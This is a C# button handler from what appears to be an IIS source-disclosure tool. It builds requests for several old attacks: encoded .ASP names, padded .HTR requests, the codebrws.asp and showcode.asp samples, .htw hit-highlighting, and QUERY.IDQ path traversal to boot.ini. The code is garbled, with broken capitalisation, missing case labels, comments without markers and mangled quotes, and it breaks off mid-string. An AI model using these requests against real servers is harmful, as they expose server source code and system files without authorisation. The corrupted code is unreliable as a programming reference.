Procedure//Main method
protected void Btngo_click (object sender, System.EventArgs e)
{
Resolving URLs
string strserver = This.txtServer.Text;
string strurl = This.txtFileName.Text;
char [] point = {'. '}; Define the delimiter as "."
Char[] line = {'/'}; Define the delimiter as "."
string [] arrstring = Strurl.split (line);
Request ASP File Full name
String strFileName = Arrstring[arrstring.length-1];
Find the path from the root directory
String strpath = strurl.substring (0,
Strurl.length-strfilename.length);
Resolve file Full Name
arrstring = Strfilename.split (point);
To find the file name extension
String strlast = Arrstring[arrstring.length-1];
Ask for file name
String strfirst = strfilename.substring (0,
STRFILENAME.LENGTH-STRLAST.LENGTH-1);
Invalidate buttons, input boxes, etc.
This.txtServer.ReadOnly = true;
This.txtFileName.ReadOnly = true;
this.btnClear.Enabled = false;
this.btnGo.Enabled = false;
if (This.txtServer.Text = = "http://" | | this.txtFileName.Text = ""
|| This.txtServer.Text.Trim () = = "" | |
This.txtServer.Text.Substring (0,7)!= "http://")
{
MessageBox.Show ("Please enter the correct host name and filename!") ") ;
This.txtServer.Focus ();
}
Else
{
This.txtResult.Visible = true;
This.txtResult.ReadOnly = true;
this.barStatus.Text = "Connecting host ...";
String Strrequestfile;
Switch (THIS.CBOMETHOD.SELECTEDINDEX)
{
Case 0://Direct Read
Strrequestfile = strserver + strurl;
break;
Case 5://%2E%41SP
Strrequestfile = strserver + strpath + strfirst
+ "%2E%41SP";
break;
Case 8://LONGHTR
Strrequestfile = strserver + strurl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.HTR";
break;
Case://codebrws.asp
Strrequestfile = strserver + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strURL;
break;
Case one://showcode.asp
Strrequestfile = strserver + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/." /.. /.. /.. /boot.ini ";
Break
Case://NULL.HTW
Strrequestfile = strserver + "/null.htw?" Ciwebhitsfile= "
+ strURL + "%20&cirestriction=none&cihilitetype=full";
break;
Case://QFULLHIT.HTW
Strrequestfile = strserver + "/iissamples/issamples/oop/qfullhit.htw?"
+ "ciwebhitsfile=/." /.. /boot.ini&cirestriction=none "
+ "&cihilitetype=full";
break;
Case://QSUMRHIT.HTW
Strrequestfile = strserver + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "ciwebhitsfile=/." /.. /boot.ini&cirestriction=none "
+ "&cihilitetype=full";
break;
Case://QUERY.IDQ
Strrequestfile = strserver + "/QUERY.IDQ?" citemplate=/.. /.. /boot.ini "
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%